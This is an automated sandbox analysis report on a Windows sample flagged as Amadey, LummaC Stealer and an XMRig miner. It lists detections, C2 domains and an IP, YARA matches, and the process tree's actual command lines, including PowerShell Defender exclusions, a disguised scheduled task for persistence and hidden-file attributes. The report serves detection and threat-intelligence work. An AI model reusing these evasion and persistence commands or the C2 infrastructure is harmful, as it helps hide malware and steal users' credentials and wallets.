Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577908
MD5:	f04e6f4a98b27fccb18cdde586a3e946
SHA1:	9bf30c2d707089f4b0afbb8d6ea4a7a8a2374691
SHA256:	5eb00b4d1604a197ddd4f16476ddcb649686de0160158c2a04136e7a62d0246b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Xmrig cryptocurrency miner

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 1968 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F04E6F4A98B27FCCB18CDDE586A3E946)

skotes.exe (PID: 6000 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F04E6F4A98B27FCCB18CDDE586A3E946)

skotes.exe (PID: 2516 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F04E6F4A98B27FCCB18CDDE586A3E946)

kf5cl0F.exe (PID: 6972 cmdline: "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe" MD5: 14BECDF1E2402E9AA6C2BE0E6167041E)

conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6208 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6256 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

01b80870ed45442fb720b666633425f9.exe (PID: 5864 cmdline: "C:\gomtbo\01b80870ed45442fb720b666633425f9.exe" MD5: 577CD52217DA6D7163CEA46BB01C107F)

ANEDNjf.exe (PID: 6512 cmdline: "C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

b97918e852.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 5020 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 2284 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 6976 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3380 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3220 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3056 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6076 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3872 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4204 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6136 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 2972 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 6400 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 3568 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5248 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5968 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2200 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6484 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Dh5yvWY.exe (PID: 1224 cmdline: "C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe" MD5: 7EC59BA110BB9588CA11FD5EFF41A0CB)

Sibuia.exe (PID: 7068 cmdline: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe TRUE 111 0 MD5: A27781BEEC02A26DE306AAE4F1A07ECA)

conhost.exe (PID: 3308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Sibjs.exe (PID: 2368 cmdline: "C:\Users\user\AppData\Local\Temp\FutureApp\sibjs.exe" TRUE 000 False cond_pkg MD5: CB98AAB3F8A161D55D04086FFCAFBBBD)

d274ed0757.exe (PID: 4224 cmdline: "C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8)

Intel_PTT_EK_Recertification.exe (PID: 2316 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 6376 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 7156 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5860 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Intel_PTT_EK_Recertification.exe (PID: 1244 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 5848 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 3632 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6660 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["sustainskelet.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "CVmr0t--installs"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	INDICATOR_EXE_Packed_SilentInstallBuilder	Detects executables packed with Silent Install Builder	ditekSHen	0x1ad3b0:$s2: ->mb!Silent Install Builder Demo Package.

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.3191260384.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.3191376969.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000026.00000002.2989752877.0000000001165000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.2989752877.000000000114B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2133308721.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000002.2989752877.0000000001127000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000031.00000002.3190515913.0000000000B16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000026.00000002.2991806945.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000005.00000003.2584865149.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.3190515913.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.3190515913.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000003.2936105757.0000000000E32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000003.3186134550.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000026.00000002.2990997382.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2099181811.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: ANEDNjf.exe PID: 6512	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ANEDNjf.exe PID: 6512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ANEDNjf.exe PID: 6512	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 2316	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 6376	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1244	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 5848	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
44.2.Sibuia.exe.590000.0.unpack	INDICATOR_EXE_Packed_SilentInstallBuilder	Detects executables packed with Silent Install Builder	ditekSHen	0x1ad3b0:$s2: ->mb!Silent Install Builder Demo Package.
44.0.Sibuia.exe.590000.0.unpack	INDICATOR_EXE_Packed_SilentInstallBuilder	Detects executables packed with Silent Install Builder	ditekSHen	0x1ad3b0:$s2: ->mb!Silent Install Builder Demo Package.
2.2.skotes.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
49.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
49.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
49.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
38.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
38.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
38.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
